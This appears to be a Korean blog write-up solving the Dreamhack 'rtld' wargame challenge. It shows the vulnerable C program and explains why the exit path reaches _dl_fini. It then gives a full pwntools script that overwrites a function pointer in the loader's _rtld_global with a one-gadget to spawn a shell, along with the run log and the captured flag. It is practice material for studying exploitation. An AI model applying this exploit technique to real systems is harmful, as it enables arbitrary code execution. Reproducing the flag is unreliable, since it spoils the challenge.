콘텐츠로 건너뛰기

rtld

Description

이 문제는 작동하고 있는 서비스(rtld)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 rtld overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.


checksec


Decompiled-src

rtld.c

// gcc -o rtld rtld.c -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

int main()
{
    long addr;
    long value;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("addr: ");
    scanf("%ld", &addr);

    printf("value: ");
    scanf("%ld", &value);

    *(long *)addr = value;
    return 0;
}

stdout 주소값을 알려주고,
원하는 주소에 값을 딱 한번만 넣을 수 있다.

Solution

ubuntu 17.10 libc-2.26.so (2.26-0ubuntu2.1) 로컬 환경에서 분석을 진행하였다.

rtld 바이너리의 main 함수가 종료될 시에 __GI_exit 함수가 호출된다.

__GI_exit 함수가 호출될시에 __run_exit_handler가 호출된다.

__run_exit_handler 함수는 exit_function 구조체 멤버 변수인 flavor 값에 따라서 함수를 호출하는데, 
https://github.com/bminor/glibc/blob/glibc-2.27/stdlib/exit.c#L77
https://github.com/bminor/glibc/blob/glibc-2.27/stdlib/exit.h#L31C3-L31C9

여기서는 ef_cxa(=4)가 flavor값이 기본으로 되어있어서,
로더 라이브러리 내부에 존재하는 _dl_fini 함수를 호출한다.

https://github.com/bminor/glibc/blob/glibc-2.27/elf/dl-fini.c#L53

glibc/elf/dl_fini.c 소스코드를 확인해봤을때,
__rtld_lock_lock_recursive 함수 포인터를 원가젯으로 덮으면 된다.

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

#local
#ubuntu 17.10 libc-2.26.so (2.26-0ubuntu2.1)
# p = process("./rtld")
# e = ELF('./rtld', checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
# ld = ELF('/lib64/ld-linux-x86-64.so.2', checksec=False)

#server
p = remote("host3.dreamhack.games", "23099")
e = ELF('./rtld', checksec=False)
libc = ELF('./libc-2.23.so', checksec=False)
ld = ELF('./ld-2.23.so', checksec=False)

stdout = p.recvline()
stdout = stdout.split(b": ")[1]
stdout = stdout.split(b"\n")[0]
stdout = int(stdout, 16)
print(f"stdout: {hex(stdout)}")

libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3ca000    #local
# dl_rtld_lock_recursive = ld_base + ld.symbols['_rtld_global'] + 3840 #local
dl_rtld_lock_recursive = ld_base + ld.symbols['_rtld_global'] + 3848 #server
print(f"libc_base: {hex(libc_base)}")
print(f"ld_base: {hex(ld_base)}")
print(f"dl_rtld_lock_recursive: {hex(dl_rtld_lock_recursive)}")

#one_gadgets = [0x47c9a, 0xfccde, 0xfdb8e]  #local
one_gadgets = [0x4527a, 0xf03a4, 0xf1247]   #server
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("value: ", str(libc_base+one_gadgets[2]))

p.interactive()

Result

seo@ubuntu:~/Desktop/rtld$ python3 solve2.py
[+] Opening connection to host3.dreamhack.games on port 23099: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
stdout: 0x7f5620bfe620
libc_base: 0x7f5620839000
ld_base: 0x7f5620c03000
dl_rtld_lock_recursive: 0x7f5620e29f48
[*] Switching to interactive mode
$ ls
flag
rtld
$ cat flag
DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}
$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 23099

FLAG

DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}

태그:

답글 남기기